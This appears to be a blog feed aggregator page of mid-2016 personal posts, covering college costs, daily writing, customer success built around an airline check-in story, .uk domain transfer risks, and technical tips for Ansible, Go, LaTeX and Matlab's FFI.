According to the signaling model, employers reward educational success because of what it shows (“signals”) about the student. Good students tend to be smart, hard-working, and conformist - three crucial traits for almost any job.

So, if the value of college is because of the degree-as-signal component, do it as cheaply and quickly as possible. There is no other reasonable way to go.

If the value of college is in credentialism, go to the best college you can. (Harvard, Yale, MIT, or as close to those as you can get.)

If the value of college is in preparing you for a job by giving you practical skills that directly relate to future employment, take off the rose-colored glasses and think outside the box.

As I mentioned, there are plenty of good reasons to go to college, but it’s too expensive and time consuming to not evaluate with a critical eye.

And yet, this year, millions of students are taking out billions of dollars in loans to fund four years of mediocre education to provide a degree that no one will care about, to get a job that allows them to pay off that loan sometime in the next fifteen years.

Full disclosure: I went to college. I was a poor student. I think I had a low B average, (I failed a class my last semester. oops). Besides meeting Kristi and some good friends, I’m hard pressed to find the value of my education. When I consider the opportunity cost, besides my wife and my friends, it was a huge net loss.

¯\_(ツ)_/¯

PPS Forward this to your favorite high schooler. Might save them a couple ten thousand dollars.

Resources

12 Lessons Learned While Publishing Something Every Day for a Month

Josh Thompson — Sun, 05 Jun 2016 03:00:00 GMT

A month ago, I decided to publish something every day for at least thirty days.

I read a few others who did something similar, and discussed all the benefits. I’ve found myself struggling with creating something and then making it public. (Public here, on another project, or at work.)

I also had a bit of a backlog of ideas or a scattered few paragraphs on a topic. In my head, these would all turn into comprehensive tomes that would be the end-all resource on a subject. With those expectations, I would never, ever write them.

So, here we are, thirty one published posts later (this is #32), and in no specific order, is what I’ve learned:

Writing every day is time consuming.

I didn’t pre-write anything, though I did regularly add ideas to a running list of potential posts, so every day I’d sit down and write, format, edit (sometimes) and publish in one sitting. I rarely finished anything in less than 30 minutes.

Much of what I wrote felt self-indulgent, or low-value.

Since I was just firing off whatever popped into my head (more or less), I wasn’t using any external indicators of what would be useful to readers.

Writing begets writing

I started this project with ten ideas I wanted to “clear off my plate”. Thirty posts later, my list of things to write about is now thirty items long. Oops.

I care a lot about metrics, but have very little to show for it

I got 20-50 unique visitors a day. Here’s my good-sounding reason for wanting visitors:

I want to create something useful and valuable, and if something is useful and valuable, then I can be more useful in the world by reaching more people.

Here’s the more selfish and accurate reason:

I want to think of myself as someone who creates useful and valuable things, and look to the external validation of high numbers of readers.

There’s a bunch of other benefits to me of “traffic”, so I’ll unashamedly say I want to grow my audience.

(I put “traffic” in quotes because it’s not traffic, it’s people giving a minute or two of their day to me. This is a pretty big deal.)

I don’t want to rely on any external source/platform for traffic

For now, the only metric I care about is email subscribers. That means that until that person unsubscribes, that person is willing to have me in their inbox, and my ability to talk to them is not linked to the search algorithems of any ofther tool. Facebook is notorious at showing things you post to only a few other people, and Twitter is moving in the same direction.

Specialization will allow me to help more people.

If I want to grow an audience, I can, they just need to know why the heck I’m writing, and if they want that, they’ll subscribe, and if they don’t, they won’t.

That’s not possible right now, as I’m not focused on any particular thing in my writing. This might change down the road, but for now, I don’t plan on niching down into a specific domain.

I’ve already got a platform for writing about climbing (and can generate thousands of page views a day linking out useful things (like a video about core strength) to reddit.)

Honestly, writing every day distracted me from work I was doing for The Climber’s Guide. I began working again on TCG after I started writing on here every day, though, so I still strongly believe that creating begets creating. I was struggling to write regularly, so I started writing every day, and all of a sudden had a bunch more things to write about.

It was only after I was writing regularly that I got the idea to film a video course of dealing with fear while rock climbing. I’m officialy transitioning from writing here every day to writing more for TGC Fear Course (not the finished title.) Punch in your email address there (or here, in the top-right corner) for updates as we go.

Lists get views, or at least good article titles do

The top-performing posts of the month were:

Only two data points, but something made it click a bit more. I think they are far the most interesting things I posted in the last month, but they also had good subject lines. And had numbers in the titles.

As a counterpoint OK, Some New Books is not exactly a riveting and enticing subject line.

Doing anything challenging for a period of time is a rewarding challenge

I’m quite pleased to have completed this 30 days of writing. When I look at my archives page, I’m pleased to see a lot of items for this year. I wrote that. It’s a little flag planted on my tiny corner of the internet, and every single post was at least loosly aimed to be helpful to others.

So, this wasn’t complaining about things that annoy me (though I talked about American Airline’s poor UX.

I’m reasonably pleased with putting words down.

I don’t know what it looks like to find “your voice”, but I don’t think I need it

Lots of people talk about needing to find “your voice” as a critical step to… something.

This might be true, but I don’t believe it to matter much.

I write for fun (on this website) and sometimes for what will some day be for profit (Climber’s Guide) and I write plenty for work (to coworkers and to customers, both in email and much more durable, lasting ways). None of this has been held back by me not knowing what “my voice” is.

Maybe some day I’ll look back and say “ah, I found my voice right there!” and stab a date on the calendar. I think what that really will mean is “I became comfortable with the written word, and others found value in what I created.”

For example, I’ve made a few videos to help climbers in a few different ways. I’ve gotten quite a bit of positive feedback from it. I wanted to say “ah, that there, was written in my voice, and that’s why it was so popular.”

Except that’s not true. Things that are valuable are valuable because they convey useful information.

My skills with the written word are incidental. (Copywriting is enormously valuable, but that’s not “finding your voice”, that’s “the psychology of persuasion”).

Distractions are everywhere, and I get crushed when it’s just a few keystrokes away.

Self-control (the app) is awesome. As is focus.io. Coupled with Alfred and the right workflow, you can lock yourself out of distraction with just six keystrokes. (for me it’s cmd-space, then “f-o-c [return]” to enable Focus).

Someday I’ll embrace editing, but it’s not yet.

This is probably obvious. I write things filled with errors, poorly-worded sentances, exessive use of the passive voice (see what I did there) and lots of other mistakes that would cut it in a professional setting. This isn’t professional, so here we are.

Make more asks

I’m going to ask things more often, or make more requests. Here’s my first request:

Will you give me your email address? In the top right corner of this page is a box for your email. Put it in there, and next time you get an email, send me a reply. I’ll put more instructions in the email then.

Until next time (but not tomorrow, because I’m done writing every day),

-Josh

Beautiful A/B testing

Bytepawn - Marton Trencseni — Sun, 05 Jun 2016 01:00:00 GMT

I gave this talk at the O’Reilly Strata Conference London in 2016 June, mostly based on what I learned at Prezi from 2012-2016.

Norwegian Wood

Apurva Shukla's RSS Feed — Sat, 04 Jun 2016 10:00:00 GMT

⭐ ⭐ ⭐ ⭐ ⭐ “Oh boy” Utterly splendid. Murakami does what no author in my opinion can compare to: write poetry about our meandering daily…

Customer Success: American Airlines Case Study

Josh Thompson — Sat, 04 Jun 2016 03:00:00 GMT

Continuing the theme of “what the heck do I do for work”, I’m writing about Customer Success as I see it. My words are my own, I don’t speak for the industry as a whole, or even for Litmus. I’m just trying to sharpen my own thinking.

Last time, I argued that customer success is not customer support. I acknowledged that in general, customer support is seen as a cost center, and therefore is a necessary evil for most organizations.

I talked about why I disagree about the cost center assessment, and how someone in customer support could convince their executive team to view the support team as a profit center. That’s a long and arduous road, and most organizations won’t make the switch.

An enterprising individual can capitalize on this reluctance an organization has to view the support team in a better light, because that means theres tons of room to shine, get good experience under their belt, and leverage that data, knowledge, and perspective into a much better job for a new company.

So what the heck is customer success?

Update: I had an imaginary support interaction sketched out, but then I had a little kerfuffle with American Airlines today, so using that as my example story.

Think of everything your customer support team does. Now change the direction and timing of communication from customer > support to support > customer.

Here’s a story that must happen a few hundred times a day with American Airlines:

I tried to check into a flight tomorrow. It was booked with miles, over the phone, and I modified it a few times (over the phone) since the original booking. It’s from Barcelona>Madrid>Miami>Philadelphia (oof).

I clicked the link in my email saying “Check in to your flight 24 hours before departure”

Email prompting me to check into my flight. Almost illegible because the text is so small.

I got the following error code:

Do I actually have a flight tomorrow?

This was this morning, on my phone, sitting in a different airport.

I became worried that there were problems with the flight, since I’d booked it and rebooked it and made modifications and cancelled the original itinerary. I didn’t have time to sort it out then (sitting in an airport) so planned on fixing it later. (“Sort it out” invariably means having my laptop out, and 40 minutes to spend on the phone.)

Later, Kristi and I arrive to our apartment in Barcelona. We’re eager to get out the door to explore the city (it was 5p already!) but I tell Kristi I need to try to sort out the check-in problem.

I try checking in on my computer, get this:

This error message tells me nothing about what the problem is. (Spoiler alert, everything was fine, but this message doesn’t exactly put you at ease, does it?)

OK, it said something about the partner airline in the email, so I head over to the Iberian checkin page:

Aaaand I get an uninspiring error message:

“It’s not our fault this didn’t work. Please talk to American” - Iberian Air

Not good. I’m hoping my wife and I are going to get back to the US tomorrow. Per the instructions provided on the AA error page, I called AA.com Web Services.

To AA’s credit, they answered fairly quickly. The first woman I spoke to hunted around for a few minutes on her computer, could not resolve the issue.

I was handed off to a reservation agent, who explained the problem.

She said (I’m roughly paraphrasing here):

For award tickets booked through partner airlines, you have to check in at the airport. You’re not able to check in online, because the systems don’t talk to each other very well in the backend

This is great news, and I can totally sympathize with data problems.

In short The system is functioning as expected, I simply cannot check in online. This has happened to me before, it will happen again. I’m happy to check in at the airport, as long as I feel confident that I’ll have a flight to check in TO!

She offers to pass me through to Iberian air, just so I can talk with them. She gave me my Iberian record locator, though at this point, I was satisfied with the answer.

I took her up on the offer, and was passed along to Iberian. The woman from Iberian conveyed the same message, and I now feel at peace about flying back to the USA tomorrow.

This is an expensive process for myself and American Airlines

Lets summarize the cost:

Three failed checkin attempts on different systems/devices (I tried at least 3x each time, so really, nine or ten failed checkin attempts)
Spoke to three different airline reps, over about fifteen minutes
Five hours of low-level stress on my behalf
Delayed our sightseeing in Barcelona by about thirty minutes.
Left a decidedly poor taste in my mouth about the airline

Here’s the kicker: All of this could have been avoided.

In the email containing my record locator, instead of the primary CTA being “Check in now” (in a poorly formatted, almost illegible email, by the way) they should have said:

In the original email, that 2nd bullet was wasted by warning that the TSA is terrible.

That little line of text alone would have made me feel 10x better about what was coming.

Alternatively, they could have done a little work when I tried to check in online, too:

This is a simulated error message. The real one didn’t say anything helpful.

So, that was my poor experience, but does that mean American should actually do anything about this? After all, they’ve got limited resources, and many things to do. They cannot, and should not, try to fix every single little problem a customer has.

IS THIS REALLY A PROBLEM?

American says it flies ~6700 flights/day. Quora guesses 150 people per plane, on average, so that works out to about a million people PER DAY flying on American or an affiliated airline.

I don’t know the percentage of customers who experience the exact same work flow I experience. Lets assume it’s 2%.

2% of a million people/day is 20,000. Lets assume 1/5 of them have a minor freakout and call American for help. That’s 4000 people/day spending at least 15 minutes of a rep’s time, figuring out what is going on. That is the equivalent of 1000 man hours/day spent on just this problem, or 30,000 man hours/month.

This 30,000 man hours/month is the the equivalent annual hours of over four full-time employees. Assuming their staff cost $15/hr to employ, this particular problem is burning about $500k/month in support hours alone.

Now, that’s just the cost side of things. A half-million dollar/month problem seems big to you and I, but to a company bringing in $4 billion/year in profit, it’s not a big deal.

The higher cost of this problem is to the customers who find it easy to move their spending to a different airline. Going back to those 20,000 people/day who experience this problem. Only 1/5 of them contacted American, which accounted for the $6m/year in staff payroll expense. That larger group spends, on average, $400/round trip ticket.

$400/ticket * 20,000 people/day * 365 days/year means this problem is “touching” about $2.9B a YEAR in spending. You should care deeply that they have a good experience with your airline.

So, by my math, yes, this is a problem and it should get development/marketing/support/billing resources to fix. Even if my math is all wrong, it’s a starting point for the folks at American to decide how to fix this.

Barriers to fixing this

As you might assume, no fix is simple. Complexity plus “not my problem” plus “don’t mess with my group” makes this a thorny problem. Here’s a few reasons a fix would be hard to implement:

Who owns the problem?

If someone from American said “hm, yes, I agree, lets fix that” and implemented a fix, the fix would touch on much more than just a single team. You’d need:

Developer work to redo the email templates to insert language about why online checkin is not available
Marketing/copywriting to decide on what language needs to be inserted
Marketing automation work to (perhaps) send a timely reminder email that says “in a few days, you might try to check in for your flight online, but you don’t need to, because…”
Before/after analytics to track if this new method of handling the topic results in a decrease in support calls or an increase in “customer loyalty”, however you choose to track it. So far, all of this is pretty straight forward, and anyone reading this should say “yeah, why wouldn’t American do all of this?”

Great question. Here’s the barriers to pushing something like this through:

Who’s problem is it?

Who, in American, feels the pain from this problem?

Not support - they’ve got a long list of problems their customers face every day, that range from bugs, to feature requests, to confusing workflows.

This isn’t a concern to the average product manager. It’s a billing question, not something related to product.

Not the dev team. The error messages are populating as expected, and they built the checkin workflows to spec.

The customer will end up paying the invoice, so this problem isn’t even costing the company any money.

It’s not a problem for the marketing team. They have their own metrics to hit, and reducing numbers of calls to the service center is not on their radar.

The success team makes the financial case for this

This would be a problem that could be owned by the customer success team.

They’d discover it because they work closely with the support team. They’d figure out what the problem is (unmet expectations), and identify what pain it is causing for the company, and what pain it’s causing for the customers.

They would track as a primary metric customer loyalty, and churn. They would be intimately aware that every time someone has to contact support and doesn’t want to, that “costs” customer loyalty. It is much more painful for the customer than it is for the company. (This was fixed with 15 minutes spread out over three different reps. No big deal, but it cost me maybe 40 minutes of time, and five hours of stress.)

So, the customer success team can own the complicated fix. They’ll figure out the spec of what needs to go in the dev pipeline, they’ll get the copy approval from the marketing team, and they’ll gather metrics from the support team about how often they hear from customers that might have this question.

They’ll put open/click tracking in the notification emails that goes to the customers, to see if customers are opening the email, reading it, and clicking the call-to-action to gather more information.

They’ll roll it out, and see if it results in a decrease in a number of calls to the support team.

Overall, they can advocate for the customer to all teams. This is how they get past the “nothing is broken” response from the dev team, or the “this isn’t related to marketing” response from the marketing team. The support team will be onboard from the get-go.

Hold on, Josh, you just painted the marketing and dev teams in a negative light. Of course they’ll want to be responsive to pain the customers feel. You’re being unfair.

They’re responsive to customer pain, and they’re on the hook to do way more work than they can actually do. The dev team ALWAYS has an enormous to-do list, and they would be foolish to let just anyone stick more items into their list.

Same with the marketing team. They’re busy, and don’t have time to implement “good ideas” without knowing they will get a good ROI for their effort.

So the Success team can own the reasons, and will have an ongoing, trusting relationship with the dev and marketing teams. If the success team makes it a priority and owns most of the implementation, the other teams are happy to help.

Who decides if this was a productive use of time?

The marketing team looks at funnels. The dev team looks at features. The sales team looks at leads. The support team looks at tickets. The success team looks at the customers who have done nothing to warrant special attention, besides paying you money.

The goal of the customer success team is to ensure that the customer achieves his/her Desired Outcome with the minimum effort. This goal, if executed well, leads to many happy customers who pay you money and tell their friends/coworkers to do the same. I’ve already made the case that the worst-case impact of this problem is $2.9B/year. Even if I’m WAY off, this problem could still be impacting hundreds of millions in revenue. It needs to be fixed.

Summary

Traditionally, this general theme might fit under a User Experience role, but I think in a small-to-medium sized company, before they have a dedicated UX team, a fix like this could be owned by the success team, since they can advocate on behalf of the customers.

The Customer Success team can follow the needs of the customer wherever they might go, drawing on resources from anywhere in the company to deliver these solutions. Throughout, they are backed by the most important metric to a company: revenue.

It’s a pretty exciting field to be in. Where else do you get to spend all day solving big problems for large numbers of people?

Resources

Understanding Your Customer’s Desired Outcome

Don't be a Poseidon

Hrafn Thorvaldsson — Sat, 04 Jun 2016 03:00:00 GMT

In the short story ‘Poseidon’, by Franz Kafka, the great god of the sea is said to be unhappy with his role of administrating all of Earths bodies of water. The punchline is that due to his dismissal of his assistants as unskilled for the tasks he deems so important, he is him self a prisoner of his own ego. Drowning in paperwork, he is never to be able to make time to experience the oceans he oversees.

Haskell Web Frameworks

Dan Palmer — Sat, 04 Jun 2016 02:00:00 GMT

A quick overview of 5 of the popular Haskell web frameworks, and what they can do to improve the state of web development.

May's Gyroscope Report

infrequent oscillations — Fri, 03 Jun 2016 21:45:37 GMT

In which we look at some graphs.

SQLite on The Changelog

Pete's Points — Fri, 03 Jun 2016 17:55:13 GMT

I just listened to The Changelog Episode 201 on SQLite with Richard Hipp. Completely fascinating. This project is completely on outlier on so many different facets.

It is one of the most widely-used software projects of all time. It is the work of a very small team (3 engineers I believe have done the vast majority of the coding). Richard codes it in a text editor he wrote (I believe Linus Torvalds also uses a custom editor he wrote). It is tracked in a version control system called fossil that Richard also wrote. SQLite has zero dependencies. Everything they need has been hand coded from scratch.

I found this interview completely spellbinding and would love to hear a follow-up. My mind just races with what Richard might say to me if he rode shotgun next to me coding for a few hours. What would he say about my tools? My methods? My domain knowledge?

.uk domain transfers are scary

Joseph Price — Fri, 03 Jun 2016 03:00:00 GMT

.uk transfers are a little different:

You instruct your old registrar to change the "IPS tag" to point the domain to your new registrar.
You tell your new registrar that the domain just assigned to them is yours.

The new registrar then dutifully updates all of Nominet's records. Even if the name... email... address... you provided them with bears no relation to the existing (private?) registration information. Who cares if you had 2 factor authentication enabled on the original Nominet account, your domain is gone.

Nominet says the onus is on the registrar to ensure they verify you're the owner when going through this process. But they don't?

What's to stop someone scraping whois records (that IPS tag is public) and racing to claim the domains you're transferring before you do?

Apparently nothing. A few weeks ago I ran a little test. I registered a new domain at one registrar and immediately asked they change the IPS tag to another. A coworker watched over my shoulder as I retrieved the whois details for my domain to see the tag change, but then I got distracted looking for cake/looking over their shoulder. They set up a new account at the second registrar and claimed the domain, using no secret information and without either registrar or Nominet gaining my consent.

What am I missing? Do some registrars I haven't tried put effort into verifying your ownership? Is it just a few bad actors?

UPDATE: One registrar I've contacted has now promised they've updated their systems to email the owner listed by Nominet for confirmation, before handing over the domain. Minor success...

Success is not support

Josh Thompson — Fri, 03 Jun 2016 03:00:00 GMT

We did a high-level “Customer Success” overview yesterday. Today, lets contrast customer support and customer success.

Support vs. Success

First, what’s the difference between “customer support” and “customer success”?

Lincoln Murphey says:

Customer Success is proactively working our customers toward their Desired Outcome whereas Customer Support is reactive to customer’s break/fix issues.

Customer Support – specifically the number of interactions with the customer and how quickly those interactions are resolved – is a critical input into an overall Customer Health score (a key Customer Success metric). It’s pretty obvious that if customers can’t use the product, they can’t achieve their Desired Outcome.

So, support is reactive, and success is proactive. This distinction is quick to cause frustration for support teams, because they feel like they’re being taken down a notch.

In some companies, this is absolutely the case. Support is the low man on the totem poll, and it’s not good for anyone.

Cost Center or Profit Center?

Support usually is tolerated, not celebrated. This difference has to do with the difference between a cost center and a profit center. (Being annoyed at this won’t help you change the situation.)

A cost center is something that you have to have, and relucantly pay for it. Think “insurance” and “taxes”. You pay for them because not paying for them is worse, but you don’t actually enjoy it.

A profit center is a little machine that makes money. You put $X in, and it gives you $X+N. If you can double your input, theoretically you can double your output.

Companies live off of money. Money can beget more money, if spent in the right way. Money wasted means the company might go under.

Most companies view their support teams as a necessary evil. This is unfortunate, but this is also an enormous opportunity for a sufficiently motivated person on a support team to aim for driving massive change in their company.

Turn the cost center into a profit center

This will be a path of blood, sweat, and tears. I think its worth it, because whatever brave, enterprising soul masters this feat will be able to write his or her own ticket for the rest of their career. Forbes says you’ll be a hero if you can do this.

Forbes’ take on it is limited, though. Your support team is really your sales team. So, build the metrics around this.

Support plays a huge roll in churn. If you can drive churn down, you’re helping your company make money. The Effortless Experience covers this quite well.

If you decide to undertake this initiatve, you’ll need to make a strong business case to the right people. This work will be good for your career, and very good for your company. If the last sentance didn’t inspire you, go read Smart Like How, to learn to think really creatively on your career, and how you can shape it.

Whereever you can run against prevailing thought, you have a chance to carve out a big, valuable ownership of a topic. So, at your company, drive home the idea that support is a profit center, not a cost center.

If you can prove the following relationship, backed up by data, you’ll be ahead of 95% of most support teams out there:

Customer support interactions correlate to increased LTV of a customer

There might be more, but that’s it for now. It’ll be hard to convince the entire team of this, but it’s your job. You cannot throw your hands up and say “they don’t believe the same things I do.”

Extreme Ownership touches on this, but unless you like books about war, don’t read it.

Resources

Links - June 3rd, 2016

Avy Faingezicht — Fri, 03 Jun 2016 03:00:00 GMT

Fixing the Ansible 2.1 Temporary File Permissions Issue

Ben Overmyer's Site — Thu, 02 Jun 2016 03:00:00 GMT

In Ansible 2.1 and later, Ansible will not allow the creation of world-readable temporary files. It does this for a good reason, but it's a change from how it was before. If you're experiencing this problem, you'll see an error when trying to become_user other than root, and it'll look like this:

fatal: [12.34.567.8]: FAILED! => {"failed": true, "msg": "Failed to set permissions on the temporary files Ansible needs to create when becoming an unprivileged user. For information on working around this, see https://docs.ansible.com/ansible/become.html#becoming-an-unprivileged-user"}

The documentation offers solutions. The one that worked for me was this: add the installation (and enablement) of ACL as part of your common tasks for a given playbook. Everything else will then work behind the scenes to make sure those temporary files are handled securely and silently.

go get for private repos in docker

divan's blog — Wed, 01 Jun 2016 20:28:46 GMT

As Go community slowly moving towards established and well understood patterns and practices of dependency management, there are still some confusing moments. One of them is automating repeatable build process using containers along with using dependencies in private repositories.

Private repositories on Github are often is a source of confusion when using go get, but it has easy workaround by adding two lines to your .gitconfig:

[url "git@github.com:"]
	insteadOf = https://github.com/

or as a oneliner:

The disappointment of OutRun

infrequent oscillations — Wed, 01 Jun 2016 06:31:54 GMT

In which we fail a goal but that's ok.

Gratitude 3x/day

Josh Thompson — Wed, 01 Jun 2016 03:00:00 GMT

Earlier this year, I read The Miracle Morning, which promises (paraphrasing here):

If you do these seven things every morning you’ll be the most amazing person you’ve ever met.

OK, it’s not exactly that bold, but it’s not far off. It wasn’t a terrible book, it had lots of good things, but the author made sure you knew he was awesome. (The author was at one point the top Cutco salesmen in the world…)

To be honest, I reluctantly enjoyed the book. I didn’t want to, and wanted to be able to mentally tune out, but it was compelling. Here’s Lifehacker on it, and James Altucher interviewing Hal Elrod.

Read those summaries before deciding to read the book.

Anyway - the ONE practice from this book that still impacts me today almost every day is that of “daily gratitude”. The Miracle Morning certainly wasn’t the first to discuss this, but it finally made it stick.

Every day, or almost every day, for much of the last five months, I’ve written down three things that I’m thankful for every day.

I started keeping them on a really long text document on my phone, but the size of the list was making it buggy. (Sidebar- Google Keep is a delightful app. Android, Mac, iPhone - it works everywhere.)

Every few months, I like to look back through what I’ve written and remember what caused me to write it. Since the only rule is “no repeating”, I’ve had to become attentive to the things I can be thankful for every day, since I need to find something new every day. (Three things every day, actually.)

If someone said “Hey, sit down and write 360 things you are thankful for”, it would take you a long time. You might not be able to. But write down three things a day for four months… there’s your list of 360 things.

Oh, I stopped using Google Keep, as I mentioned. Now I’m using Journey on Android and Chrome. So far so good. (It’s free)

Resources

The Miracle Morning
Journey Android App
Journey Chrome Extension
Day One App iPhone/Mac (I’ve not used this, but seems popular)

Grimaldi

june.kim — Wed, 01 Jun 2016 03:00:00 GMT

Cerberus 1.0 is coming and it is going to be awesome

Nicola Iarocci — Wed, 01 Jun 2016 03:00:00 GMT

Cerberus is a lightweight and extensible data validation library for Python. Beta has been around since 2012. During this time Cerberus has been serving as the validation system for Eve core. It has been also adopted by a quite a lot open source projects, averaging around 18K downloads per month on PyPI and collecting some remarkable endorsements.

All things considered, I would dare to claim that Cerberus is battle tested to death. This is, in fact, one reason why I believe that the time for a canonical and stable release has come. Another reason is that next release is a major one. It brings a ton of important new features along with very significant code refactoring and a redesigned, powerful API. Third, next release breaks backward compatibility, and we want to signal that in the version number.

So next Cerberus release will be 1.0. If you have been following the development this will come as no surprise, as a Release Candidate has been out for a while. As a Cerberus user you will want to take the plunge and upgrade to 1.0 because well, it is just too cool to be true. If new to Cerberus you will also want to adopt 1.0 right away, for the same reason. If you are new however, make sure you get the basics covered before reading further. By the way, at latest PyCon Italy I gave a talk on Cerberus which also included a preview of several 1.0 features. You can check the slides to get a general idea of the tool, its usage, and upcoming features.

Let’s now look at some of the relevant features and changes introduced with Cerberus 1.0. For a (mostly) accurate list of changes and new features, have a look at the changelog.

Pure assembly in the forest of Panama

SerCe's blog — Wed, 01 Jun 2016 03:00:00 GMT

This article covers the internals of Project Panama and experiments with increasing Java program performance using a pure inline assembler.

Exposing Services using Ingress with Kubernetes <= 1.5

Justin Garrison's Homepage — Wed, 01 Jun 2016 03:00:00 GMT

This article has not been updated for Kubernetes clusters that use RBAC for API authentication (versions 1.6+).

Urda’s PGP Key Transition Statement

Writings of Urda — Tue, 31 May 2016 23:47:07 GMT

I changed OpenPGP keys. This is the public proof!

Urda’s OpenPGP Key

Writings of Urda — Tue, 31 May 2016 23:00:00 GMT

Use this to send me secure communications or verify my signed messages.

Some adjustments for LaTeX glossaries

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Tue, 31 May 2016 20:59:21 GMT

I am using the fine glossaries package to typeset glossaries and acronyms in my dissertation.

While the default settings are not bad, I like to do some custom adjustments to get the glossaries printed just right.

Capitalized descriptions in the glossary

I want entries in the glossary to be capitalized—regardless of the original capitalization. Hence, I prefer minimum spanning tree (MST), but in the glossary, I want it to be written as Minimum spanning tree. To get the package to comply, I find the easiest way to do this is to define a new glossary style. Since I like the long glossary style, I can inherit all features from it and only need to change a small part:

\newglossarystyle{long-br}{%
  \setglossarystyle{long}

  \renewcommand{\glossentry}[2]{%
    \glsentryitem{##1}\glstarget{##1}{\glossentryname{##1}} &
    \Glossentrydesc{##1}\glspostdescription\space ##2\tabularnewline
  }%
}

\setglossarystyle{long-br}

The salient change is the usage of \Glossentrydesc instead of \glossentrydesc, which ensures that the description is printed capitalized.

Non-breaking spaces in the long-short form of an acronym

When glossaries typesets an acronym, I prefer the long-short form. For example, the first use of an acronym should look like minimum spanning tree (MST). Unfortunately, the space between the long form and the short form permits a line-break. This is of course unacceptable and needs to be rectified. The easiest way to solve this is to use

\renewcommand{\acrfullformat}[2]{#1~(#2)}

in the preamble of the document. This does not work when you use a custom style, though. See below if you want to copy my style.

Printing acronyms always upright in the long-short form

When the long-short form of an acronym is used, I prefer any text decorations only to apply to the long description, but not to the acronym. Consequently, I like minimum spanning tree (MST) better than I like minimum spanning tree (MST). To achieve this, we need to define our own style. Again, I like the long-short style, so I am going to base the custom style upon it:

\newacronymstyle{long-short-br}
{%
  \GlsUseAcrEntryDispStyle{long-short}%
}%
{%
  \GlsUseAcrStyleDefs{long-short}%  
  \renewcommand*{\genacrfullformat}[2]{%
    \glsentrylong{##1}##2~\textup{(\firstacronymfont{\glsentryshort{##1}})}%
  }%
  \renewcommand*{\Genacrfullformat}[2]{%
    \Glsentrylong{##1}##2~\textup{(\firstacronymfont{\glsentryshort{##1}})}%
  }%
  \renewcommand*{\genplacrfullformat}[2]{%
    \glsentrylongpl{##1}##2~\textup{(\firstacronymfont{\glsentryshortpl{##1}})}%
  }%
  \renewcommand*{\Genplacrfullformat}[2]{%
    \Glsentrylongpl{##1}##2~\textup{(\firstacronymfont{\Glsentryshortpl{##1}})}%
  }%
}

\setacronymstyle{long-short-br}

Note that this style also uses a non-breaking space ~ to connect the long form to the short form. If you do not want this, just use \space instead.

That’s it for now—as soon as I have found out more ways to procrastinate when using LaTeX, there will be a new post.

Matlab has an FFI and it is not Mex

bastibe.de — Tue, 31 May 2016 14:00:00 GMT

Sometimes, you just have to use C code. There's no way around it. C is the lingua franca and bedrock of our computational world. Even in Matlab, sometimes, you just have to call into a C library.

So, you grab your towel, you bite the bullet, you strap into your K&R, and get down to it: You start writing a Mex file. And you curse, and you cry, because writing C is hard, and Mex doesn't exactly make it any better. But you know what? There is a better way!

Because, unbeknownst to many, Matlab includes a Foreign Function Interface. The technique was probably pioneered by Common Lisp, and has since been widely adopted everywhere: calling functions in a C library without writing any C code and without invoking a compiler!

Mind you, there remains a large and essential impedance mismatch between C's statically typed calling conventions and the vagaries of a dynamically typed language such as Matlab, and even the nicest FFI can't completely hide that fact. But anything is better than the abomination that is Mex.

So here goes, a very simple C library that adds two arrays:

// test.c:
#include test.h

void add_arrays(float *out, float* in, size_t length) {
    for (size_t n=0; n<length; n++) {
        out[n] += in[n];
    }
}

// test.h:
#include <stddef.h>
void add_arrays(float *out, float *in, size_t length);

Let's compile it! gcc -shared -std=c99 -o test.so test.c will do the trick.

Now, let's load that library into Matlab with loadlibrary:

if not(libisloaded('test'))
    [notfound, warnings] = loadlibrary('test.so', 'test.h');
    assert(isempty(notfound), 'could not load test library')
end

Note that loadlibrary can't parse many things you would commonly find in header files, so you will likely have to strip them down to the bare essentials. Additionally, loadlibrary doesn't throw errors if it can't load a library, so we always have to check the notfound output argument to see if the library was actually loaded successfully.

With that, we can call functions in that library using calllib. But we can't just pass in Matlab vectors, that would be too easy. We first have to convert them to something C can understand: Pointers

vector1 = [1 2 3 4 5];
vector2 = [9 8 7 6 5];

vector1ptr = libpointer('singlePointer', vector1);
vector2ptr = libpointer('singlePointer', vector2);

What is nice about this is that this automatically converts the vectors from double to float. What is less nice is that it uses its weird singlePtr notation instead of the more canonical float* that you would expect from a self-respecting C header.

Then, finally, let's call our function:

calllib('test', 'add_arrays', vector1ptr, vector2ptr, length(vector1));

If you see no errors, everything went smoothly, and you will now have changed the content of vector1ptr, which we can have a look at like this:

added_vectors = vector1ptr.Value;

Note that this didn't change the contents of vector1, only of the newly created pointer. So there will always be some memory overhead to this technique in comparison to Mex files. However, runtime overhead seems pretty fine:

timeit(@() calllib('test', 'add_arrays', vector1ptr, vector2ptr, length(vector1)))
%   ans = 1.9155e-05
timeit(@() the_same_thing_but_as_a_mex_file(single(vector1), single(vector2)))
%   ans = 4.6262e-05
timeit(@() the_same_thing_plus_argument_conversion(vector1, vector2))
%   ans = 1.2326e-04

So as you can see, the calllib is plenty fast. However, if you add the Matlab code for converting the double arrays to pointers and extracting the summed data afterwards, the FFI is noticeably slower than a Mex file.

However, If I ask myself whether I would sacrifice 0.00007 seconds of computational overhead for hours of my life not spent with Mex, there really is no competition. I will choose Matlab's FFI over writing Mex files every time.

An Intro to Customer Success

Josh Thompson — Tue, 31 May 2016 03:00:00 GMT

Customer Success - what is it?

When I tell people I work in “Customer Success”, they immediately think I do either Customer Support, or sales. In a way, they are correct. I do both. Today, and more in the future, I’ll dig deep into this particular industry.

A traditional marketing funnel narrows as it draws people from the top “creating awareness” pool, down through prospects > leads > trials > and eventually (hopefully!) customers.

Notice that the funnel gets smaller with each step, and ends when the customer pays you. Source: beintheknow.co

There’s different kinds of funnels, or different labels for each stage, but the goal is to identify and speak to a target audience, convince them you can do something valuable for them, and then have them become a customer. (I.E. pay you money)

A “customer” can be a one-time purchase, recurring purchase, subscription, etc. Anything where they pay you money. Litmus is a business-to-business software-as-a-service company. All of our customers are subscribers. We don’t have any one-off purchase options.

There’s very few barriers to becoming a customer of Litmus. No disks to have delivered in the mail, no software to install, no hardware to buy and techs to pay to install it, no contracts, no sales team, and quite inexpensive prices. A few visits to Chipotle/month is the same cost as a basic Litmus account.

Low friction is good! This means we can have many, many customers and don’t have to spend lots of time and effort getting each customer. This is good for them, too, as they can kick the tires of Litmus via a trial, and don’t have to talk to a sales rep or anything else.

This ease of becoming a customer has an edge, though. It means it’s just as easy to stop being a customer. Click a few buttons (A max of three mouse clicks from any page in your Litmus account) and your account will be closed, and you’ll never be billed again.

